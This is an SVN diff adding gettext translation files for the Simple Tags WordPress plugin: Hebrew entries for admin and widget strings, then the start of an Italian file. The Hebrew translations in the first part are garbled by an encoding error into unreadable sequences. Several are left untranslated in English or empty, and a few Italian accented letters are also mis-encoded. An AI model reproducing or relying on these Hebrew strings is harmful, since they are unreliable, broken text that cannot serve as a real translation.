+msgid "Enter the tag to rename and its new value.  You can use this feature to merge tags too. Click \"Rename\" and all posts which use this tag will be updated."
+msgstr "××© ××××× ××ª ××ª×××ª ×©××© ××©× ××ª ××ª ×©×× ×××ª ××©× ××××©.  × ××ª× ×××©×ª××© ××× ×× ×× ×× ××©×××× ×ª××××ª. ××§××§× ×¢×  \"×©×× ×× ×©×\" ××× ××€××¡××× ××××××× ××ª ××ª×××ª ××ª×¢××× ×."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:501
+#: WP.org\trunk/inc/simple-tags.admin.php:542
+msgid "You can specify multiple tags to rename by separating them with commas."
+msgstr "× ××ª× ××Š××× ××¡×€×š ×ª××××ª ××©×× ×× ×©× ×¢× ××× ××€×š××ª× ××€×¡××§××."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:506
+msgid "Tag(s) to rename:"
+msgstr "×ª××××ª ××××¢××××ª ××©×× ×× ×©×:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:507
+msgid "New tag name(s):"
+msgstr "×©×××ª ×ª××××ª ×××©××ª:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:508
+msgid "Rename"
+msgstr "×©×× ×× ×©×"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:513
+msgid "Delete Tag"
+msgstr "××××§×ª ×ª×××ª"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:514
+msgid "Enter the name of the tag to delete.  This tag will be removed from all posts."
+msgstr "××© ××××× ××ª ×©× ××ª×××ª ×××××§×. ××ª×××ª ×ª××¡×š ××× ××€××¡×××."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:515
+msgid "You can specify multiple tags to delete by separating them with commas"
+msgstr "× ××ª× ××Š××× ××¡×€×š ×ª××××ª ×××××§× ×¢× ××× ××€×š××ª× ××€×¡××§××."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:520
+msgid "Tag(s) to delete:"
+msgstr "×ª××××ª ×××××§×:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:521
+msgid "Delete"
+msgstr "××××§×"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:526
+msgid "Add Tag"
+msgstr "×××¡×€×ª ×ª×××ª"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:527
+msgid "This feature lets you add one or more new tags to all posts which match any of the tags given."
+msgstr "×× ×× ×× ×× ×××€×©×š ××××¡××£ ×ª×××ª ×××ª ×× ×××ª×š ××× ××€××¡××× ××××××× ×× ×××ª ×××ª××××ª ×××©×××."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:528
+msgid "You can specify multiple tags to add by separating them with commas.  If you want the tag(s) to be added to all posts, then don't specify any tags to match."
+msgstr "×Š××× ×ª ××¡×€×š ×ª××××ª ××××¡×€× ×¢× ××× ××€×š××ª× ××€×¡××§××. ×× ××š×Š×× × ×©××ª××××ª ××××¡×€× ××× ××€××¡×××, ×©×× ××ª××××ª ×××ª××× ×Š×š×× ×××©××š ×š××§."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:533
+#: WP.org\trunk/inc/simple-tags.admin.php:547
+msgid "Tag(s) to match:"
+msgstr "×ª××××ª ×××©×××:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:534
+msgid "Tag(s) to add:"
+msgstr "×ª××××ª ××××¡×€×:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:535
+msgid "Add"
+msgstr "×××¡×€×"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:540
+msgid "Edit Tag Slug"
+msgstr "×¢×š×××ª ×××× ×ª×××ª"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:541
+msgid "Enter the tag name to edit and its new slug. <a href=\"http://codex.wordpress.org/Glossary#Slug\">Slug definition</a>"
+msgstr "××© ××××× ××ª ×©× ××ª×××ª ××¢×š××× ×××ª ××××× ××××© ×©××. <a href=\"http://codex.wordpress.org/Glossary#Slug\">××××š×ª ×××× ×ª×××ª</a>"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:548
+msgid "Slug(s) to set:"
+msgstr "××××× ××©×× ××:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:549
+#: WP.org\trunk/inc/simple-tags.admin.php:711
+msgid "Edit"
+msgstr "×¢×š×××"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:554
+msgid "Remove empty terms"
+msgstr "××¡×š×ª ××××××× ×š××§××"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:555
+msgid "WordPress 2.3 have a small bug and can create empty terms. Remove it !"
+msgstr "×××š×¡× 2.3 ××© ××¢×× ×©× ××Š××š×ª ×ª××××ª ×š××§××ª. × ××ª× ×××¡××š ×××ª× !"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:559
+msgid "Clean !"
+msgstr "× ××§××!"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:645
+msgid "Search terms&hellip;"
+msgstr "×××€××© ×××××××&hellip;"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:650
+msgid "Quantity&hellip;"
+msgstr "××××ª&hellip;"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:666
+msgid "Author&hellip;"
+msgstr "××××š&hellip;"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:667
+msgid "Any"
+msgstr "××"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:672
+msgid "Type&hellip;"
+msgstr "×¡××&hellip;"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:674
+msgid "Post"
+msgstr "×€××¡×"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:676
+msgid "Page"
+msgstr "×¢×××"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:683
+msgid "Order&hellip;"
+msgstr "×¡××š&hellip;"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:685
+msgid "Date (descending)"
+msgstr "×ª××š×× (×××š×)"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:686
+msgid "Date (ascending)"
+msgstr "×ª××š×× (×¢×××)"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:687
+msgid "ID (descending)"
+msgstr "×××× (×××š×)"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:688
+msgid "ID (ascending)"
+msgstr "×××× (×¢×××)"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:693
+msgid "Filter&hellip;"
+msgstr "××¡× ×&hellip;"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:695
+msgid "All"
+msgstr "××"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:696
+msgid "Untagged only"
+msgstr "×š×§ ×× ××ª××××××"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:700
+msgid "Filter &#187;"
+msgstr "××¡× × &#187;"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:707
+#: WP.org\trunk/inc/simple-tags.admin.php:717
+msgid "Update all"
+msgstr "××¢××× ××ª ××××"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:732
+msgid "No content to edit."
+msgstr "××× ×ª××× ××¢×š×××."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:747
+msgid "Page: "
+msgstr "×¢×××:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:891
+msgid "Tags (separate multiple tags with commas: cats, pet food, dogs)"
+msgstr "×ª××××ª (×××€×š×××ª ××€×¡××§××: ××ª××××, ×××× ×××××ª, ×××××)"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:904
+msgid "No tag specified!"
+msgstr "×× ×Š×××× × ×ª××××ª!"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:929
+msgid "No tag deleted."
+msgstr "×× × ×××§× ×ª××××ª."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:931
+#, php-format
+msgid "%1s tag(s) deleted."
+msgstr "%1s tag(s) deleted."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:943
+msgid "No new tag(s) specified!"
+msgstr "×× ×Š×××× × ×ª××××ª ×××©××ª!"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:991
+msgid "No tag added."
+msgstr "×× × ××¡×€× ×ª××××ª."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:993
+#, php-format
+msgid "Tag(s) added to %1s post(s)."
+msgstr "Tag(s) added to %1s post(s)."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:1005
+msgid "No new slug(s) specified!"
+msgstr "×× ×Š×××× × ×ª××××ª ×××©××ª!"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:1021
+msgid "Tags number and slugs number isn't the same!"
+msgstr "××¡×€×š ××ª××××ª ×××¡×€×š ×××××× ××× × ×××!"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:1045
+msgid "No slug edited."
+msgstr "×× × ×¢×š×× ×××× ×ª××××ª."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:1047
+#, php-format
+msgid "%s slug(s) edited."
+msgstr "%s slug(s) edited."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:1061
+msgid "Nothing to muck. Good job !"
+msgstr ""
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:1085
+#, php-format
+msgid "%s rows deleted. WordPress DB is clean now !"
+msgstr "%s rows deleted. WordPress DB is clean now !"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:1107
+msgid "No new tag specified!"
+msgstr "×× ×Š××× × ×ª×××ª ×××©×!"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:1126
+msgid "No new/old valid tag specified!"
+msgstr "×× ×Š××× × ×ª×××ª ××©× ×/×××©× ×××§××ª!"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:1157
+msgid "No tag renamed."
+msgstr "×× ×©×× × ×©× ×××£ ×ª×××ª."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:1159
+#, php-format
+msgid "Renamed tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;"
+msgstr "Renamed tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:1166
+msgid "No valid new tag."
+msgstr "××× ×ª×××ª ×××©× ×××§××ª."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:1183
+msgid "No objects (post/page) found for specified old tags."
+msgstr "×× × ××Š×× ××××××§××× ×××ª××××× ××ª×××ª ×××©× ×."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:1200
+msgid "No tag merged."
+msgstr "×× ×©×××× ×ª××××ª."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:1202
+#, php-format
+msgid "Merge tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;. %3$s objects edited."
+msgstr "×ª××××ª ×©××××× &laquo;%1$s&raquo; ×¢×××š  &laquo;%2$s&raquo;. %3$s ××××××§××× ×©×©×× ×."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:1205
+msgid "Error. No enough tags for rename. Too for merge. Choose !"
+msgstr "×©××××. ××× ××¡×€××§ ×ª××××ª ××©×× ×× ×©×, ×××ª×š ×××× ××××××. ×Š×š×× ×××××š !"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:1250
+#, php-format
+msgid "&copy; Copyright 2007 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | Version %s"
+msgstr "&copy; Copyright 2007 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | ×××š×¡× %s"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:1356
+msgid "No suggested tags founds."
+msgstr "×× × ××Š×× ×ª××××ª ×××Š×¢××ª."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:1363
+msgid "Suggested tags"
+msgstr "×ª××××ª ×××Š×¢××ª"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:1564
+#, php-format
+msgid "%s post(s) tags updated with success !"
+msgstr "%s post(s) tags updated with success !"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:1566
+#, php-format
+msgid "%s page(s) tags updated with success !"
+msgstr "%s ×ª××××ª ××€×× ×¢×××× × ×××Š××× !"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:141
+msgid "Empty field will use default value."
+msgstr "×× ×š××§ ××©×ª××© ××¢×š×× ××š××š×ª ×××××."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:144
+msgid "Title:"
+msgstr "×××ª×š×ª:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:149
+msgid "Max tags to display: (default: 45)"
+msgstr "××¡×€×š ×××š×× ×©× ×ª××××ª ×××Š××: (××š××š×ª ××××: 45("
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:154
+msgid "Tags selection:"
+msgstr "××××š×ª ×ª××××ª:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:157
+#: WP.org\trunk/inc/simple-tags.widgets.php:168
+msgid "Inverse Alphabetical"
+msgstr "×¡××š ×××€×××ª× ××€××"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:158
+msgid "Most popular (default)"
+msgstr "××× ×€××€×××š××× (××š××š×ª ××××)"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:160
+msgid "Random"
+msgstr "××§×š××"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:171
+msgid "Random (default)"
+msgstr "××§×š×× (××š××š×ª ××××)"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:176
+msgid "Font size mini: (default: 8)"
+msgstr "×××× ×€×× × ××× ××××: (××š××š×ª ××××: 8)"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:181
+msgid "Font size max: (default: 22)"
+msgstr "×××× ×€×× × ×××š××: (××š××š×ª ××××: 22)"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:186
+msgid "Unit font size:"
+msgstr "×××××ª ×××× ×€×× ×:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:188
+msgid "Point (default)"
+msgstr "Point (default)"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:189
+msgid "Pixel"
+msgstr "Pixel"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:190
+msgid "Em"
+msgstr "Em"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:191
+msgid "Pourcent"
+msgstr "××××××"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:196
+msgid "Format:"
+msgstr "×€××š××:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:198
+msgid "Flat (default)"
+msgstr "×©××× (××š××š×ª ××××)"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:199
+msgid "List (UL/LI)"
+msgstr "×š×©×××"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:205
+msgid "Use auto color cloud:"
+msgstr "××©×ª××© ××¢× × ×Š××¢ ×××××××:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:209
+msgid "Font color mini: (default: #CCCCCC)"
+msgstr "×Š××¢ ×€×× × ××× ××××: (××š××š×ª ××××: #CCCCCC)"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:214
+msgid "Font color max: (default: #000000)"
+msgstr "×Š××¢ ×€×× × ××§×¡××××: (××š××š×ª ××××: #000000)"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:219
+msgid "Extended format: (advanced usage)"
+msgstr "×€××š×× ×××š××: (×©××××© ××ª×§××)"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:250
+msgid "Tag Cloud Widgets"
+msgstr "×××××× ×¢× × ×ª××××ª"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:251
+msgid "How many tag cloud widgets would you like?"
+msgstr "××× ×××××'××× ×©× ×¢× × ×ª××××ª ××××Š×š?"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:255
+msgid "Save"
+msgstr "×©×××š×"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.widgets.php:272
+#: WP.org\trunk/inc/simple-tags.widgets.php:273
+#, php-format
+msgid "Extended Tag Cloud %d"
+msgstr "Extended Tag Cloud %d"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-it_IT.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-it_IT.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-it_IT.po	(revision 44)
@@ -0,0 +1,1775 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: simple tags italiano\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-04-13 02:17+0100\n"
+"PO-Revision-Date: 2008-05-05 18:33+0100\n"
+"Last-Translator: Amaury Balmer <amaury@wordpress-fr.net>\n"
+"Language-Team: giococco <giococcotre@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Italian\n"
+"X-Poedit-Country: ITALY\n"
+
+#: /simple-tags.php:41
+msgid "Simple Tags can't work with this WordPress version !"
+msgstr "Simple Tags non funziona con questa versione di WordPress!"
+
+#: /simple-tags.php:41
+#, php-format
+msgid "You must use <a href=\"%1$s\">Simple Tagging Plugin</a> for it to work."
+msgstr "Per poter funzionare devi usare <a href=\"%1$s\">Simple Tagging Plugin</a>."
+
+#: /2.3/simple-tags.client.php:87
+#: /2.3/simple-tags.client.php:556
+#: /2.5/simple-tags.client.php:86
+#: /2.5/simple-tags.client.php:555
+msgid "No related posts."
+msgstr "Non ci sono post correlati."
+
+#: /2.3/simple-tags.client.php:88
+#: /2.3/simple-tags.client.php:555
+#: /2.5/simple-tags.client.php:87
+#: /2.5/simple-tags.client.php:554
+msgid "<h4>Related posts</h4>"
+msgstr "<h4>Post correlati</h4>"
+
+#: /2.3/simple-tags.client.php:89
+#: /2.3/simple-tags.client.php:558
+#: /2.5/simple-tags.client.php:88
+#: /2.5/simple-tags.client.php:557
+msgid "<a href=\"%post_permalink%\" title=\"%post_title% (%post_date%)\">%post_title%</a> (%post_comment%)"
+msgstr "<a href=\"%post_permalink%\" title=\"%post_title% (%post_date%)\">%post_title%</a> (%post_comment%)"
+
+#: /2.3/simple-tags.client.php:95
+#: /2.3/simple-tags.client.php:1223
+#: /2.5/simple-tags.client.php:94
+#: /2.5/simple-tags.client.php:1254
+msgid "No tags."
+msgstr "Nessun tag."
+
+#: /2.3/simple-tags.client.php:96
+#: /2.3/simple-tags.client.php:1225
+#: /2.5/simple-tags.client.php:95
+#: /2.5/simple-tags.client.php:1256
+msgid "<h4>Tag Cloud</h4>"
+msgstr "<h4>Tag Cloud</h4>"
+
+#: /2.3/simple-tags.client.php:98
+#: /2.3/simple-tags.client.php:1224
+#: /2.5/simple-tags.client.php:97
+#: /2.5/simple-tags.client.php:1255
+msgid "<a href=\"%tag_link%\" id=\"tag-link-%tag_id%\" class=\"st-tags t%tag_scale%\" title=\"%tag_count% topics\" %tag_rel% style=\"%tag_size% %tag_color%\">%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" id=\"tag-link-%tag_id%\" class=\"st-tags t%tag_scale%\" title=\"%tag_count% topics\" %tag_rel% style=\"%tag_size% %tag_color%\">%tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:110
+#: /2.3/simple-tags.client.php:1440
+#: /2.5/simple-tags.client.php:109
+#: /2.5/simple-tags.client.php:1500
+msgid "Tags: "
+msgstr "Tags: "
+
+#: /2.3/simple-tags.client.php:112
+#: /2.3/simple-tags.client.php:1447
+#: /2.5/simple-tags.client.php:1507
+msgid "No tag for this post."
+msgstr "Nessun tag per questo post."
+
+#: /2.3/simple-tags.client.php:115
+#: /2.3/simple-tags.client.php:1446
+#: /2.5/simple-tags.client.php:114
+msgid "<a href=\"%tag_link%\" title=\"%tag_name%\" %tag_rel%>%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" title=\"%tag_name%\" %tag_rel%>%tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:123
+#: /2.3/simple-tags.client.php:875
+#: /2.5/simple-tags.client.php:122
+#: /2.5/simple-tags.client.php:905
+msgid "<h4>Related tags</h4>"
+msgstr "<h4>Tag correlati</h4>"
+
+#: /2.3/simple-tags.client.php:124
+#: /2.3/simple-tags.client.php:876
+#: /2.5/simple-tags.client.php:906
+msgid "No related tag found."
+msgstr "Non Ãš stato trovato nessun tag correlato."
+
+#: /2.3/simple-tags.client.php:125
+#: /2.5/simple-tags.client.php:124
+msgid "<span>%tag_count%</span> <a href=\"%tag_link_add%\">+</a> <a href=\"%tag_link%\">%tag_name%</a>"
+msgstr "<span>%tag_count%</span> <a href=\"%tag_link_add%\">+</a> <a href=\"%tag_link%\">%tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:130
+#: /2.5/simple-tags.client.php:129
+msgid "&raquo; <a href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "&raquo; <a href=\"%tag_link_remove%\" title=\"Elimina %tag_name_attribute% dalla ricerca\">elimina %tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:272
+#: /2.5/simple-tags.client.php:266
+#, php-format
+msgid "Posts tagged with %s"
+msgstr "Post marcati con %s"
+
+#: /2.3/simple-tags.client.php:787
+#: /2.5/simple-tags.client.php:826
+msgid "There is no excerpt because this is a protected post."
+msgstr "Non Ãš disponibile nessun estratto perchÃš questo Ãš un post protetto."
+
+#: /2.3/simple-tags.client.php:877
+#: /2.5/simple-tags.client.php:907
+msgid "<span>%tag_count%</span> <a %tag_rel% href=\"%tag_link_add%\">+</a> <a %tag_rel% href=\"%tag_link%\" title=\"See posts with %tag_name_attribute%\">%tag_name%</a>"
+msgstr "<span>%tag_count%</span> <a %tag_rel% href=\"%tag_link_add%\">+</a> <a %tag_rel% href=\"%tag_link%\" title=\"Visualizza i post con l'attributo %tag_name_attribute%\">%tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:1079
+msgid "&raquo; <a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "&raquo; <a %tag_rel% href=\"%tag_link_remove%\" title=\"Elimina %tag_name_attribute% dalla ricerca\">Elimina %tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:1686
+#: /2.5/simple-tags.client.php:1752
+msgid "Invalid Taxonomy"
+msgstr "Taxonomy non valida"
+
+#: /2.3/inc/simple-tags.admin.php:149
+#: /2.3/inc/simple-tags.admin.php:628
+#: /2.5/inc/simple-tags.admin.php:161
+#: /2.5/inc/simple-tags.admin.php:628
+msgid "Simple Tags: Manage Tags"
+msgstr "Simple Tags: Gestisci i Tag"
+
+#: /2.3/inc/simple-tags.admin.php:149
+#: /2.5/inc/simple-tags.admin.php:161
+msgid "Manage Tags"
+msgstr "Gestisci i tag"
+
+#: /2.3/inc/simple-tags.admin.php:150
+#: /2.3/inc/simple-tags.admin.php:843
+#: /2.5/inc/simple-tags.admin.php:162
+msgid "Simple Tags: Mass Edit Tags"
+msgstr "Simple Tags: Modifica di massa sui Tag"
+
+#: /2.3/inc/simple-tags.admin.php:150
+#: /2.5/inc/simple-tags.admin.php:162
+msgid "Mass Edit Tags"
+msgstr "Modifica di massa sui Tags"
+
+#: /2.3/inc/simple-tags.admin.php:151
+#: /2.3/inc/simple-tags.admin.php:209
+#: /2.5/inc/simple-tags.admin.php:163
+msgid "Simple Tags: Auto Tags"
+msgstr "Simple Tags: Auto Tags"
+
+#: /2.3/inc/simple-tags.admin.php:151
+#: /2.5/inc/simple-tags.admin.php:163
+#: /2.5/inc/simple-tags.admin.php:220
+msgid "Auto Tags"
+msgstr "Auto Tags"
+
+#: /2.3/inc/simple-tags.admin.php:152
+#: /2.3/inc/simple-tags.admin.php:522
+#: /2.5/inc/simple-tags.admin.php:164
+#: /2.5/inc/simple-tags.admin.php:524
+msgid "Simple Tags: Options"
+msgstr "Simple Tags: Opzioni"
+
+#: /2.3/inc/simple-tags.admin.php:152
+#: /2.5/inc/simple-tags.admin.php:164
+msgid "Simple Tags"
+msgstr "Simple Tags"
+
+#: /2.3/inc/simple-tags.admin.php:194
+#: /2.5/inc/simple-tags.admin.php:206
+msgid "Auto tags options updated !"
+msgstr "Opzioni di Auto tag aggiornate !"
+
+#: /2.3/inc/simple-tags.admin.php:210
+#: /2.3/inc/simple-tags.admin.php:523
+#: /2.3/inc/simple-tags.admin.php:629
+#: /2.3/inc/simple-tags.admin.php:844
+#: /2.5/inc/simple-tags.admin.php:629
+msgid "Visit the <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "Visita <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">la homepage del plugin</a> per maggiori dettagli, se trovi qualche errore, o se hai qualche nuova idea per questo plugin, <a href=\"mailto:amaury@wordpress-fr.net\">dimmelo</a> !"
+
+#: /2.3/inc/simple-tags.admin.php:214
+#: /2.5/inc/simple-tags.admin.php:225
+msgid "Auto tags list"
+msgstr "Auto tags list"
+
+#: /2.3/inc/simple-tags.admin.php:215
+#: /2.5/inc/simple-tags.admin.php:226
+msgid "This feature allows Wordpress to look into post content and title for specified tags when saving posts. If your post content or title contains the word \"WordPress\" and you have \"wordpress\" in auto tags list, Simple Tags will add automatically \"wordpress\" as tag for this post."
+msgstr "Questa opzione permette a Wordpress di cercare nel contenuto del post e nel titolo se esistono dei tag specifici quando lo si salva. Se per esempio il tuo post contiene la parola \"Wordpress\" ed esiste un tag \"wordpress\" nella lista di auto tag, simple tag lo aggiungerÃ  automaticamente al posto."
+
+#: /2.3/inc/simple-tags.admin.php:219
+#: /2.5/inc/simple-tags.admin.php:235
+msgid "Active Auto Tags."
+msgstr "Auto Tags attivo."
+
+#: /2.3/inc/simple-tags.admin.php:222
+#: /2.5/inc/simple-tags.admin.php:242
+msgid "Use also local tags database with auto tags. (Warning, this option can increases the CPU consumption a lot if you have many tags)"
+msgstr "Usa anche il database locale con auto tags. (Attenzione, questa opzione aumenta di molto il consumo di CPU nel server se hai molti tag, usala con parsimonia)."
+
+#: /2.3/inc/simple-tags.admin.php:225
+#: /2.5/inc/simple-tags.admin.php:249
+msgid "Autotag only posts without tags."
+msgstr "Usa autotag solo con i post senza tag."
+
+#: /2.3/inc/simple-tags.admin.php:227
+msgid "Keywords list: (separated with a comma)"
+msgstr "Lista delle parole chiave: (separate da virgola)"
+
+#: /2.3/inc/simple-tags.admin.php:233
+msgid "Update list &raquo;"
+msgstr "Aggiorna la lista &raquo;"
+
+#: /2.3/inc/simple-tags.admin.php:236
+#: /2.5/inc/simple-tags.admin.php:265
+msgid "Auto tags old content"
+msgstr "Crea automaticamente i tag per i contenuti vecchi."
+
+#: /2.3/inc/simple-tags.admin.php:237
+#: /2.5/inc/simple-tags.admin.php:266
+msgid "Simple Tags can also tag all existing contents of your blog. This feature use auto tags list above-mentioned."
+msgstr "Simple Tags puo anche inserire i tag in tutti i  ontenuti esistenti del tuo blog. Questa funzionalitÃ  usa la lista di auto tags  precedente."
+
+#: /2.3/inc/simple-tags.admin.php:238
+msgid "Auto tags all content"
+msgstr "Usa Auto tags per tutto il contenuto"
+
